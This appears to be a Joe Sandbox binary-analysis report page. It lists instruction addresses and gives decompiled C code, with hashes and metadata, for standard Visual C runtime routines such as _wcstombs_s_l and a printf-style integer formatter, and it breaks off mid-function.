0x0043c1ce
0x0043c1ce
0x0043c1ae
0x0043c1d1
0x0043c1d8
0x0043c1db
0x0043c1e0
0x0043c1e0
0x0043c1e6
0x0043c1e8
0x0043c1f0
0x0043c1f1
0x0043c1f4
0x0043c1f5
0x0043c203
0x0043c205
0x0043c205
0x0043c1e6
0x0043c208
0x0043c20b
0x0043c20e
0x0043c211
0x0043c216
0x0043c21b
0x0043c21e
0x0043c221
0x0043c221
0x0043c224
0x0043c224
0x0043c227
0x0043c233
0x0043c550
0x0043c550
0x0043c550
0x0043c554
0x00000000
0x00000000
0x00000000
0x0043c554
0x00000000
0x0043c550
0x0043c0d7
0x0043c0d7
0x0043c0de
0x0043c0e1
0x00000000
0x00000000
0x0043c0e3
0x0043c0e3
0x00000000
0x0043c0e3
0x0043c0c8
0x0043c0c8
0x00000000
0x00000000
0x0043bd28
0x0043bd28
0x0043bd33
0x0043bd3b
0x0043bd42
0x0043bd45
0x0043bd45
0x0043bd48
0x0043bda1
0x0043bda8
0x0043bd4a
0x0043bd51
0x0043bd57
0x0043bd5d
0x0043bd64
0x0043bd67
0x0043bd6d
0x0043bd75
0x0043bd77
0x0043bd7e
0x0043bd85
0x0043bd8c
0x0043bd94
0x0043bd96
0x0043bd98
0x0043bd98
0x0043bd9f
0x0043bdaf
0x0043bdb5
0x0043bdb8
0x0043c550
0x0043c550
0x0043c550
0x0043c554
0x00000000
0x00000000
0x00000000
0x0043c554
0x00000000
0x0043c23b
0x0043c23e
0x0043c241
0x0043c244
0x0043c2c2
0x0043c2c5
0x0043c2c5
0x0043c2ca
0x0043c2ec
0x0043c2ec
0x0043c2f2
0x0043c314
0x0043c314
0x0043c317
0x0043c35e
0x0043c35e
0x0043c361
0x0043c37e
0x0043c382
0x0043c38a
0x0043c38a
0x0043c38c
0x0043c392
0x0043c363
0x0043c363
0x0043c367
0x0043c36f
0x0043c370
0x0043c376
0x0043c376
0x0043c319
0x0043c31c
0x0043c31c
0x0043c31f
0x0043c33d
0x0043c349
0x0043c34c
0x0043c34d
0x0043c353
0x0043c321
0x0043c321
0x0043c325
0x0043c32d
0x0043c32e
0x0043c32f
0x0043c335
0x0043c335
0x0043c359
0x0043c2f4
0x0043c2f4
0x0043c300
0x0043c306
0x0043c306
0x0043c2cc
0x0043c2cc
0x0043c2d8
0x0043c2de
0x0043c2de
0x0043c39b
0x0043c39b
0x0043c39e
0x00000000
0x00000000
0x00000000
0x0043bf9a
0x0043bf9a
0x0043bfa6
0x0043bfac
0x0043bfb1
0x0043bfb3
0x0043c05d
0x0043c05d
0x0043c060
0x0043c060
0x0043c063
0x0043c077
0x0043c07d
0x0043c083
0x0043c065
0x0043c065
0x0043c06b
0x0043c072
0x0043c072
0x0043c085
0x0043c550
0x0043c550
0x0043c550
0x0043c554
0x00000000
0x00000000
0x00000000
0x0043c554
0x0043c550
0x0043bfb9
0x0043bfb9
0x0043bfb9
0x0043bfbb
0x0043bfc9
0x0043bfbd
0x0043bfbd
0x0043bfbd
0x0043bfd3
0x0043bfd9
0x0043bfdf
0x0043bfe6
0x0043bfe8
0x0043bfed
0x0043bfef
0x0043bff4
0x0043bff9
0x0043bffb
0x0043c000
0x0043c003
0x0043c006
0x0043c008
0x0043c008
0x0043c006
0x0043c009
0x0043c010
0x0043c058
0x0043c550
0x0043c550
0x0043c550
0x0043c554
0x00000000
0x00000000
0x00000000
0x0043c554
0x0043c012
0x0043c012
0x0043c017
0x0043c033
0x0043c03b
0x0043c045
0x0043c048
0x0043c04d
0x00000000
0x0043c04d
0x00000000
0x0043c2a4
0x0043c2a4
0x0043c2ae
0x0043c2ae
0x0043c2b4
0x0043c2b6
0x0043c2b9
0x0043c2b9
0x0043c2bf
0x0043c2bf
0x0043c2c2
0x0043c2c2
0x0043c2c5
0x0043c2c5
0x0043c2ca
0x0043c2ec
0x0043c2ec
0x0043c2f2
0x0043c314
0x0043c314
0x0043c317
0x0043c35e
0x0043c35e
0x0043c361
0x0043c37e
0x0043c382
0x0043c38a
0x0043c38a
0x0043c38c
0x0043c392
0x0043c363
0x0043c363
0x0043c367
0x0043c36f
0x0043c370
0x0043c376
0x0043c376
0x0043c319
0x0043c31c
0x0043c31c
0x0043c31f
0x0043c33d
0x0043c349
0x0043c34c
0x0043c34d
0x0043c353
0x0043c321
0x0043c321
0x0043c325
0x0043c32d
0x0043c32e
0x0043c32f
0x0043c335
0x0043c335
0x0043c359
0x0043c2f4
0x0043c2f4
0x0043c300
0x0043c306
0x0043c306
0x0043c2cc
0x0043c2cc
0x0043c2d8
0x0043c2de
0x0043c2de
0x0043c39b
0x0043c39b
0x0043c39e
0x00000000
0x00000000
0x00000000
0x0043c39e
0x00000000
0x0043c256
0x0043c256
0x00000000
0x00000000
0x0043be6d
0x0043be6d
0x0043be71
0x0043be7f
0x0043be82
0x0043be73
0x0043be73
0x0043be73
0x0043be88
0x0043be8e
0x0043be94
0x0043bea0
0x0043bea6
0x0043bea6
0x0043bea9
0x0043bf31
0x0043bf31
0x0043bf35
0x0043bf37
0x0043bf3d
0x0043bf3d
0x0043bf40
0x0043bf47
0x0043bf4a
0x0043bf50
0x0043bf50
0x0043bf50
0x0043bf56
0x0043bf5c
0x0043bf5f
0x0043bf65
0x0043bf67
0x00000000
0x00000000
0x0043bf69
0x0043bf69
0x0043bf6f
0x0043bf72
0x0043bf74
0x00000000
0x00000000
0x0043bf76
0x0043bf7c
0x0043bf7f
0x0043bf7f
0x0043bf87
0x0043bf87
0x0043bf8d
0x0043bf8d
0x0043bf92
0x00000000
0x0043beaf
0x0043beaf
0x0043beaf
0x0043beb3
0x0043beb5
0x0043beba
0x0043beba
0x0043bebd
0x0043bec0
0x0043bec6
0x0043bed8
0x0043bed8
0x0043bed8
0x0043bedb
0x0043bee1
0x00000000
0x00000000
0x0043bee3
0x0043bee3
0x0043bee9
0x0043beec
0x0043beee
0x00000000
0x00000000
0x0043bef0
0x0043bef0
0x0043bef9
0x0043beff
0x0043bf03
0x0043bf0b
0x0043bf0d
0x0043bf0f
0x0043bf15
0x0043bf15
0x0043bf18
0x0043bf18
0x0043bf24
0x0043bf27
0x0043becf
0x0043bed2
0x0043bed2
0x0043bed5
0x0043bed5
0x0043bf2f
0x0043bf95
0x0043c550
0x0043c550
0x0043c550
0x0043c554
0x00000000
0x00000000
0x00000000
0x0043c554
0x0043c550
0x00000000
0x0043c24d
0x0043c24d
0x0043c2c2
0x0043c2c2
0x0043c2c5
0x0043c2c5
0x0043c2ca
0x0043c2ec
0x0043c2ec
0x0043c2f2
0x0043c314
0x0043c314
0x0043c317
0x0043c35e
0x0043c35e
0x0043c361
0x0043c37e
0x0043c382
0x0043c38a
0x0043c38a
0x0043c38c
0x0043c392
0x0043c363
0x0043c363
0x0043c367
0x0043c36f
0x0043c370
0x0043c376
0x0043c376
0x0043c319
0x0043c31c
0x0043c31c
0x0043c31f
0x0043c33d
0x0043c349
0x0043c34c
0x0043c34d
0x0043c353
0x0043c321
0x0043c321
0x0043c325
0x0043c32d
0x0043c32e
0x0043c32f
0x0043c335
0x0043c335
0x0043c359
0x0043c2f4
0x0043c2f4
0x0043c300
0x0043c306
0x0043c306
0x0043c2cc
0x0043c2cc
0x0043c2d8
0x0043c2de
0x0043c2de
0x0043c39b
0x0043c39b
0x0043c39e
0x00000000
0x00000000
0x00000000
0x0043c39e
0x00000000
0x00000000
0x00000000
0x0043c550
0x0043c550
0x0043c550
0x0043c554
0x00000000
0x00000000
0x00000000
0x0043c554
0x00000000
0x00000000
0x0043bad9
0x0043bad9
0x0043badc
0x0043badf
0x00000000
0x00000000
0x0043bae4
0x0043bae7
0x0043baed
0x00000000
0x00000000
0x0043bace
0x0043bad1
0x0043bad4
0x00000000
0x00000000
0x0043bac3
0x0043bac6
0x0043bac9
0x00000000
0x00000000
0x0043baf2
0x0043baf2
0x0043baf5
0x0043baf5
0x0043baf8
0x00000000
0x00000000
0x0043bafb
0x00000000
0x00000000
0x0043b96b
0x0043b96b
0x0043b96d
0x0043b97b
0x0043b96f
0x0043b96f
0x0043b96f
0x0043b98b
0x0043b998
0x0043b99a
0x0043b99f
0x0043b9a1
0x0043b9a6
0x0043b9ab
0x0043b9ad
0x0043b9b2
0x0043b9b8
0x0043b9ba
0x0043b9ba
0x0043b9b8
0x0043b9bb
0x0043b9c2
0x00000000
0x0043b9c4
0x0043b9c9
0x0043b9e5
0x0043b9ed
0x0043b9fa
0x0043b9ff
0x0043c814
0x0043c821
0x0043c821
0x0043b9c2
0x0043b965
0x0043c750
0x0043c750
0x0043c757
0x0043c76e
0x0043c76e
0x0043c778
0x0043c778
0x0043c77e
0x0043c784
0x0043c78b
0x0043c78d
0x0043c792
0x0043c794
0x0043c799
0x0043c79e
0x0043c7a0
0x0043c7a5
0x0043c7a8
0x0043c7ab
0x0043c7ad
0x0043c7ad
0x0043c7ab
0x0043c7ae
0x0043c7b5
0x0043c800
0x0043c809
0x0043c80e
0x0043c7b7
0x0043c7bc
0x0043c7d8
0x0043c7e0
0x0043c7ed
0x0043c7f2
0x0043c7f2
0x00000000
0x0043c7b5
0x0043c759
0x0043c759
0x0043c760
0x00000000
0x00000000
0x0043c762
0x0043c762
0x00000000
0x0043c762
0x0043c550
0x0043c527
0x0043c527
0x0043c52b
0x0043c538
0x0043c53b
0x0043c53e
0x0043c541
0x0043c544
0x0043c547
0x0043c54a
0x0043c54a
0x0043c54d
0x00000000
0x0043c54d
0x0043c52d
0x0043c52d
0x0043c530
0x0043c533
0x0043c536
0x00000000
0x00000000
0x00000000
0x0043c536
0x0043c48c
0x0043c48c
0x0043c48f
0x0043c492
0x0043c499
0x0043c4a0
0x0043c4a8
0x0043c4ae
0x0043c4b1
0x0043c4b4
0x0043c4bb
0x0043c4c7
0x0043c4cd
0x0043c4d3
0x0043c4da
0x0043c4dc
0x0043c4e2
0x0043c4e2
0x0043c4e8
0x0043c4e8
0x0043c4ee
0x0043c4f7
0x0043c4fc
0x0043c4ff
0x0043c46e
0x0043c46e
0x0043c474
0x0043c477
0x0043c47a
0x0043c47c
0x00000000
0x00000000
0x00000000
0x0043c47c
0x0043c46e
0x0043c3ab
0x0043c3ab
0x0043c3b2
0x00000000
0x00000000
0x00000000
0x0043c3e0
0x0043c3e0
0x0043c3e6
0x0043c3ec
0x0043c3f2
0x00000000
0x0043c3f2
0x0043c2c2
0x0043c273

APIs

_get_int64_arg.LIBCMTD ref: 0043C2D0
__aullrem.LIBCMT ref: 0043C4A0
__aulldiv.LIBCMT ref: 0043C4C2

Strings

9, xrefs: 0043C4D3
', xrefs: 0043C269

Memory Dump Source

Source File: 00000015.00000002.390111447.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.390089776.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.390253520.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390284837.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390298973.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_8939.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$9
API String ID: 3120068967-1823400153
Opcode ID: 044c4e9475caa876993db0b7bf7609c54a9519c81704b3a31cc85cc1f6a62956
Instruction ID: 4b49a86ed5cb18e0cd18d0e6459d7ec5e25d5ee0d207c397050a76bac6bc4411
Opcode Fuzzy Hash: 044c4e9475caa876993db0b7bf7609c54a9519c81704b3a31cc85cc1f6a62956
Instruction Fuzzy Hash: 914105B1E00229DFDB24CF58C991BAEB7B4FF89314F00919AD148BB241C7385A81CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 004375A3, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E004375A3(void* __ebx, void* __esi) {
				signed int _t74;
				intOrPtr _t75;
				void* _t80;
				signed int _t84;
				void* _t92;
				void* _t97;
				signed int _t106;
				signed int _t108;
				signed int _t112;
				signed int _t113;
				intOrPtr _t114;
				signed int _t117;
				signed int _t119;
				signed int _t125;
				void* _t127;
				void* _t128;
				void* _t129;
				void* _t131;
				void* _t132;
				void* _t140;

				_t128 = __esi;
				_t97 = __ebx;
				_t113 =  *(_t129 + 0xc);
				 *_t113 = 0;
				if( *(_t129 + 0x10) != 0xffffffff &&  *(_t129 + 0x10) != 0x7fffffff &&  *(_t129 + 0x10) > 1) {
					_t140 =  *0x440208 -  *(_t129 + 0x10) - 1; // 0xffffffff
					if(_t140 >= 0) {
						_t113 =  *(_t129 + 0x10) - 1;
						__eflags = _t113;
						 *(_t129 - 0x20) = _t113;
					} else {
						_t112 =  *0x440208; // 0xffffffff
						 *(_t129 - 0x20) = _t112;
					}
					E0041B3B0(_t127,  *(_t129 + 0xc) + 1, 0xfe,  *(_t129 - 0x20));
					_t131 = _t131 + 0xc;
				}
				if( *(_t129 + 8) != 0) {
					_t113 =  *(_t129 + 8);
					 *_t113 = 0;
				}
				if( *(_t129 + 0x18) <=  *(_t129 + 0x10)) {
					_t113 =  *(_t129 + 0x18);
					 *(_t129 - 0x24) = _t113;
				} else {
					 *(_t129 - 0x24) =  *(_t129 + 0x10);
				}
				 *(_t129 - 8) =  *(_t129 - 0x24);
				asm("sbb edx, edx");
				_t114 = _t113 + 1;
				 *((intOrPtr*)(_t129 - 0x14)) = _t114;
				if(_t114 == 0) {
					_push(L"bufferSize <= INT_MAX");
					_push(0);
					_push(0x13f);
					_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c");
					_push(2);
					_t92 = L0041E220();
					_t131 = _t131 + 0x14;
					if(_t92 == 1) {
						asm("int3");
					}
				}
				if( *((intOrPtr*)(_t129 - 0x14)) != 0) {
					_t100 =  *(_t129 + 0xc);
					_t74 = L00437010(_t97,  *(_t129 - 8), _t127, _t128,  *(_t129 + 0xc),  *((intOrPtr*)(_t129 + 0x14)),  *(_t129 - 8),  *((intOrPtr*)(_t129 + 0x1c)));
					_t132 = _t131 + 0x10;
					 *(_t129 - 0xc) = _t74;
					__eflags =  *(_t129 - 0xc) - 0xffffffff;
					if( *(_t129 - 0xc) != 0xffffffff) {
						_t117 =  *(_t129 - 0xc) + 1;
						 *(_t129 - 0xc) = _t117;
						__eflags =  *(_t129 + 0xc);
						if( *(_t129 + 0xc) == 0) {
							L45:
							__eflags =  *(_t129 + 8);
							if( *(_t129 + 8) != 0) {
								 *( *(_t129 + 8)) =  *(_t129 - 0xc);
							}
							_t75 =  *((intOrPtr*)(_t129 - 4));
							goto L48;
						}
						__eflags =  *(_t129 - 0xc) -  *(_t129 + 0x10);
						if( *(_t129 - 0xc) <=  *(_t129 + 0x10)) {
							L44:
							_t119 =  *(_t129 + 0xc) +  *(_t129 - 0xc);
							__eflags = _t119;
							 *((char*)(_t119 - 1)) = 0;
							goto L45;
						}
						__eflags =  *(_t129 + 0x18) - 0xffffffff;
						if( *(_t129 + 0x18) == 0xffffffff) {
							L43:
							 *(_t129 - 0xc) =  *(_t129 + 0x10);
							 *((intOrPtr*)(_t129 - 4)) = 0x50;
							goto L44;
						}
						 *( *(_t129 + 0xc)) = 0;
						__eflags =  *(_t129 + 0x10) - 0xffffffff;
						if( *(_t129 + 0x10) != 0xffffffff) {
							__eflags =  *(_t129 + 0x10) - 0x7fffffff;
							if( *(_t129 + 0x10) != 0x7fffffff) {
								__eflags =  *(_t129 + 0x10) - 1;
								if( *(_t129 + 0x10) > 1) {
									__eflags =  *0x440208 -  *(_t129 + 0x10) - 1; // 0xffffffff
									if(__eflags >= 0) {
										_t106 =  *(_t129 + 0x10) - 1;
										__eflags = _t106;
										 *(_t129 - 0x2c) = _t106;
									} else {
										_t84 =  *0x440208; // 0xffffffff
										 *(_t129 - 0x2c) = _t84;
									}
									_t117 =  *(_t129 - 0x2c);
									__eflags =  *(_t129 + 0xc) + 1;
									E0041B3B0(_t127,  *(_t129 + 0xc) + 1, 0xfe, _t117);
									_t132 = _t132 + 0xc;
								}
							}
						}
						_t104 =  *(_t129 + 0x10);
						__eflags =  *(_t129 - 0xc) -  *(_t129 + 0x10);
						asm("sbb edx, edx");
						 *(_t129 - 0x18) =  ~_t117;
						if( *(_t129 - 0xc) ==  *(_t129 + 0x10)) {
							_push(L"sizeInBytes > retsize");
							_push(0);
							_push(0x157);
							_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c");
							_push(2);
							_t80 = L0041E220();
							_t132 = _t132 + 0x14;
							__eflags = _t80 - 1;
							if(_t80 == 1) {
								asm("int3");
							}
						}
						__eflags =  *(_t129 - 0x18);
						if( *(_t129 - 0x18) != 0) {
							goto L43;
						} else {
							 *((intOrPtr*)(L00422D10(_t104))) = 0x22;
							E00422AA0(_t97, _t104, _t127, _t128, L"sizeInBytes > retsize", L"_wcstombs_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c", 0x157, 0);
							_t75 = 0x22;
							goto L48;
						}
					} else {
						__eflags =  *(_t129 + 0xc);
						if( *(_t129 + 0xc) != 0) {
							 *( *(_t129 + 0xc)) = 0;
							__eflags =  *(_t129 + 0x10) - 0xffffffff;
							if( *(_t129 + 0x10) != 0xffffffff) {
								__eflags =  *(_t129 + 0x10) - 0x7fffffff;
								if( *(_t129 + 0x10) != 0x7fffffff) {
									__eflags =  *(_t129 + 0x10) - 1;
									if( *(_t129 + 0x10) > 1) {
										__eflags =  *0x440208 -  *(_t129 + 0x10) - 1; // 0xffffffff
										if(__eflags >= 0) {
											_t125 =  *(_t129 + 0x10) - 1;
											__eflags = _t125;
											 *(_t129 - 0x28) = _t125;
										} else {
											_t108 =  *0x440208; // 0xffffffff
											 *(_t129 - 0x28) = _t108;
										}
										_t100 =  *(_t129 + 0xc) + 1;
										__eflags =  *(_t129 + 0xc) + 1;
										E0041B3B0(_t127,  *(_t129 + 0xc) + 1, 0xfe,  *(_t129 - 0x28));
									}
								}
							}
						}
						_t75 =  *((intOrPtr*)(L00422D10(_t100)));
						L48:
						return _t75;
					}
				}
				 *((intOrPtr*)(L00422D10(0x7fffffff))) = 0x16;
				E00422AA0(_t97, 0x7fffffff, _t127, _t128, L"bufferSize <= INT_MAX", L"_wcstombs_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c", 0x13f, 0);
				_t75 = 0x16;
				goto L48;
			}

0x004375a3
0x004375a3
0x004375a3
0x004375a6
0x004375ad
0x004375c4
0x004375ca
0x004375da
0x004375da
0x004375dd
0x004375cc
0x004375cc
0x004375d2
0x004375d2
0x004375f0
0x004375f5
0x004375f5
0x004375fc
0x004375fe
0x00437601
0x00437601
0x0043760d
0x00437617
0x0043761a
0x0043760f
0x00437612
0x00437612
0x00437620
0x0043762b
0x0043762d
0x00437630
0x00437633
0x00437635
0x0043763a
0x0043763c
0x00437641
0x00437646
0x00437648
0x0043764d
0x00437653
0x00437655
0x00437655
0x00437653
0x0043765a
0x0043769b
0x0043769f
0x004376a4
0x004376a7
0x004376aa
0x004376ae
0x0043771a
0x0043771d
0x00437720
0x00437724
0x00437811
0x00437811
0x00437815
0x0043781d
0x0043781d
0x0043781f
0x00000000
0x0043781f
0x0043772d
0x00437730
0x00437807
0x0043780a
0x0043780a
0x0043780d
0x00000000
0x0043780d
0x00437736
0x0043773a
0x004377fa
0x004377fd
0x00437800
0x00000000
0x00437800
0x00437743
0x00437746
0x0043774a
0x0043774c
0x00437753
0x00437755
0x00437759
0x00437761
0x00437767
0x00437776
0x00437776
0x00437779
0x00437769
0x00437769
0x0043776e
0x0043776e
0x0043777c
0x00437788
0x0043778c
0x00437791
0x00437791
0x00437759
0x00437753
0x00437794
0x00437797
0x0043779a
0x0043779e
0x004377a1
0x004377a3
0x004377a8
0x004377aa
0x004377af
0x004377b4
0x004377b6
0x004377bb
0x004377be
0x004377c1
0x004377c3
0x004377c3
0x004377c1
0x004377c4
0x004377c8
0x00000000
0x004377ca
0x004377cf
0x004377eb
0x004377f3
0x00000000
0x004377f3
0x004376b0
0x004376b0
0x004376b4
0x004376b9
0x004376bc
0x004376c0
0x004376c2
0x004376c9
0x004376cb
0x004376cf
0x004376d7
0x004376dd
0x004376ed
0x004376ed
0x004376f0
0x004376df
0x004376df
0x004376e5
0x004376e5
0x004376ff
0x004376ff
0x00437703
0x00437708
0x004376cf
0x004376c9
0x004376c0
0x00437710
0x00437822
0x00437825
0x00437825
0x004376ae
0x00437661
0x0043767d
0x00437685
0x00000000

APIs

_memset.LIBCMT ref: 004375F0
__invalid_parameter.LIBCMTD ref: 0043767D

Strings

bufferSize <= INT_MAX, xrefs: 00437635, 00437678
_wcstombs_s_l, xrefs: 00437673
f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c, xrefs: 00437641, 0043766E

Memory Dump Source

Source File: 00000015.00000002.390111447.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.390089776.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.390253520.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390284837.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390298973.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_8939.jbxd

Similarity

API ID: __invalid_parameter_memset
String ID: _wcstombs_s_l$bufferSize <= INT_MAX$f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c
API String ID: 3961059608-322421350
Opcode ID: 7a9118cbbc650944320ca362fbd724764fc9a0eef423cb1919e43218a2b9cbe5
Instruction ID: 7978c328529f9c0068945eb2c39e8259d0838a12f0e7abb88cee7188f1ef569f
Opcode Fuzzy Hash: 7a9118cbbc650944320ca362fbd724764fc9a0eef423cb1919e43218a2b9cbe5
Instruction Fuzzy Hash: 7F21B0B0A04349EBCB34CF58CC42BAE7760BB18724F20462FE8A42B7C0D7799950CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0041C7F3, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 60COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041C8FD
__free_base.LIBCMTD ref: 0041C909

Strings

pHead->nBlockUse == nBlockUse, xrefs: 0041C80B
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041C817
t!hD&@, xrefs: 0041C809

Memory Dump Source

Source File: 00000015.00000002.390111447.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.390089776.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.390253520.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390284837.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390298973.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_8939.jbxd

Similarity

API ID: __free_base_memset
String ID: f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c$pHead->nBlockUse == nBlockUse$t!hD&@
API String ID: 2669475236-3516989280
Opcode ID: fb5b138f8c5d43972584d2c9c0704d5c932171c3125ccf64173851ee85f6085b
Instruction ID: bab0cad029b466959e9a7e7c997d2681074bdfcf41e317c5ebbb07be033edd66
Opcode Fuzzy Hash: fb5b138f8c5d43972584d2c9c0704d5c932171c3125ccf64173851ee85f6085b
Instruction Fuzzy Hash: 5E216F74A40104EFCB04DF54DAC5AAAB3B2BB89305F30C19AE4051B395C779EE42DF88

Uniqueness

Uniqueness Score: -1.00%

Function 0043C256, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 107
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E0043C256(intOrPtr __ebx, intOrPtr __edi, intOrPtr __esi) {
				signed int _t483;
				void* _t488;
				signed int _t490;
				void* _t498;
				intOrPtr _t501;
				signed int _t519;
				intOrPtr _t523;
				intOrPtr _t524;
				signed int _t525;
				void* _t527;

				L0:
				while(1) {
					L0:
					_t524 = __esi;
					_t523 = __edi;
					_t501 = __ebx;
					 *(_t525 - 0x30) = 8;
					while(1) {
						L143:
						 *(__ebp - 0x460) = 7;
						while(1) {
							L145:
							 *(__ebp - 8) = 0x10;
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
							__eflags =  *(__ebp - 0x10) & 0x00000080;
							if(( *(__ebp - 0x10) & 0x00000080) != 0) {
								__edx = 0x30;
								 *(__ebp - 0x14) = __dx;
								 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
								__eflags =  *(__ebp - 0x460) + 0x51;
								 *(__ebp - 0x12) = __ax;
								 *(__ebp - 0x1c) = 2;
							}
							while(1) {
								L150:
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
								__eflags =  *(__ebp - 0x10) & 0x00008000;
								if(( *(__ebp - 0x10) & 0x00008000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
									__eflags =  *(__ebp - 0x10) & 0x00001000;
									if(( *(__ebp - 0x10) & 0x00001000) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
										__eflags =  *(__ebp - 0x10) & 0x00000020;
										if(( *(__ebp - 0x10) & 0x00000020) == 0) {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
											__eflags =  *(__ebp - 0x10) & 0x00000040;
											if(( *(__ebp - 0x10) & 0x00000040) == 0) {
												__ecx = __ebp + 0x14;
												__eax = E00428200(__ebp + 0x14);
												__edx = 0;
												__eflags = 0;
												 *(__ebp - 0x4a0) = __eax;
												 *(__ebp - 0x49c) = 0;
											} else {
												__eax = __ebp + 0x14;
												__eax = E00428200(__ebp + 0x14);
												asm("cdq");
												 *(__ebp - 0x4a0) = __eax;
												 *(__ebp - 0x49c) = __edx;
											}
										} else {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
											__eflags =  *(__ebp - 0x10) & 0x00000040;
											if(( *(__ebp - 0x10) & 0x00000040) == 0) {
												__ecx = __ebp + 0x14;
												E00428200(__ebp + 0x14) = __ax & 0x0000ffff;
												asm("cdq");
												 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
												 *(__ebp - 0x49c) = __edx;
											} else {
												__eax = __ebp + 0x14;
												__eax = E00428200(__ebp + 0x14);
												__ax = __eax;
												asm("cdq");
												 *(__ebp - 0x4a0) = __eax;
												 *(__ebp - 0x49c) = __edx;
											}
										}
									} else {
										__eax = __ebp + 0x14;
										 *(__ebp - 0x4a0) = E00428220(__ebp + 0x14);
										 *(__ebp - 0x49c) = __edx;
									}
								} else {
									__ecx = __ebp + 0x14;
									 *(__ebp - 0x4a0) = E00428220(__ebp + 0x14);
									 *(__ebp - 0x49c) = __edx;
								}
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
								__eflags =  *(__ebp - 0x10) & 0x00000040;
								if(( *(__ebp - 0x10) & 0x00000040) == 0) {
									goto L167;
								}
								L163:
								__eflags =  *(__ebp - 0x49c);
								if(__eflags > 0) {
									goto L167;
								}
								L164:
								if(__eflags < 0) {
									L166:
									 *(__ebp - 0x4a0) =  ~( *(__ebp - 0x4a0));
									__edx =  *(__ebp - 0x49c);
									asm("adc edx, 0x0");
									__edx =  ~( *(__ebp - 0x49c));
									 *(__ebp - 0x4a8) =  ~( *(__ebp - 0x4a0));
									 *(__ebp - 0x4a4) =  ~( *(__ebp - 0x49c));
									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
									L168:
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
									__eflags =  *(__ebp - 0x10) & 0x00008000;
									if(( *(__ebp - 0x10) & 0x00008000) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
										__eflags =  *(__ebp - 0x10) & 0x00001000;
										if(( *(__ebp - 0x10) & 0x00001000) == 0) {
											__edx =  *(__ebp - 0x4a8);
											__eax =  *(__ebp - 0x4a4);
											__eax =  *(__ebp - 0x4a4) & 0x00000000;
											__eflags = __eax;
											 *(__ebp - 0x4a4) = __eax;
										}
									}
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) >= 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
										__eflags =  *(__ebp - 0x30) - 0x200;
										if( *(__ebp - 0x30) > 0x200) {
											 *(__ebp - 0x30) = 0x200;
										}
									} else {
										 *(__ebp - 0x30) = 1;
									}
									 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
									__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
									if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
										 *(__ebp - 0x1c) = 0;
									}
									__eax = __ebp - 0x249;
									 *(__ebp - 4) = __ebp - 0x249;
									while(1) {
										L178:
										__ecx =  *(__ebp - 0x30);
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										__eflags =  *(__ebp - 0x30);
										if( *(__ebp - 0x30) > 0) {
											goto L180;
										}
										L179:
										 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
										__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
										if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
											L183:
